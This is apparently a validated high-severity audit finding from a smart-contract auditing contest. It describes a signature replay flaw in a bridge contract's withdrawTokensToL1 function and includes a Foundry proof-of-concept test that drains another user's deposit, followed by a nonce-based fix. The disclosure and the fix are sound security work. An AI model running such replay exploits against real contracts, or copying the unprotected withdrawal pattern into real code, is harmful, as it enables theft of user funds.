Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Lack of Unique Transaction Identifiers in withdrawTokensToL1 Function Leads to Signature Replay Vulnerability

Summary

The L1BossBridge contract's withdrawTokensToL1 function is susceptible to signature replay attacks due to the lack of unique transaction identifiers, such as nonces. This vulnerability allows the same signature to be used multiple times to withdraw tokens, potentially leading to unauthorized token withdrawals and financial losses.

Vulnerability Details

In the L1BossBridge contract, the withdrawTokensToL1 function allows token withdrawals based on a signature provided by an authorized signer. However, the function does not incorporate unique transaction identifiers like nonces, making it possible for the same signature to be reused in multiple withdrawal transactions.

function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
sendToL1(
v,
r,
s,
abi.encode(
address(token),
0, // value
abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
)
);
}

Impact

This vulnerability can result in significant financial losses as malicious actors or even legitimate users can drain the contract's funds by repeatedly using the same valid signature. The severity of this impact intensifies with the amount of funds and number of users involved in the contract.

POC

  1. User legitimately withdraws tokens using a valid signature.

  2. User (or a malicious actor with access to the signature) reuses the same signature to initiate another withdrawal.

  3. Due to the lack of nonce-based validation, the contract processes the second withdrawal, allowing unauthorized token withdrawal.

function testUserCanWithdrawTokensWithOperatorSignatureMultipleTimes() public {
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
assertEq(userInitialBalance, 1000e18);
//bob deposit 10 token
vm.startPrank(bob);
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(bob, userInL2, depositAmount);
vm.stopPrank();
assertEq(token.balanceOf(address(vault)), depositAmount); //10 token
//user deposit
vm.startPrank(user);
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
//bob + user deposit
assertEq(token.balanceOf(address(vault)), depositAmount * 2);
//1st time user withdraw
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, depositAmount), operator.key);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
//20 deposit - user withdraw = 10
assertEq(token.balanceOf(address(vault)), 10e18);
uint256 userInitialBalanceAfterFirstWithdraw = token.balanceOf(user);
assertEq(userInitialBalanceAfterFirstWithdraw, userInitialBalance);
//user withdraw 2nd time
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
//bob's token was stolen
assertEq(token.balanceOf(address(vault)), 0);
assertEq(token.balanceOf(user), userInitialBalance + depositAmount); //1010
vm.stopPrank();
}

Tools Used

Foundry

Recommendations

Introduce unique transaction identifiers, such as nonces, in the withdrawTokensToL1 function. Each signature should only be valid for a transaction with a specific nonce, preventing its reuse.

- function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
+ function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s, uint256 nonce) external {
+ require(nonce == expectedNonce, "Invalid nonce");
+ expectedNonce++;
...
}
Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.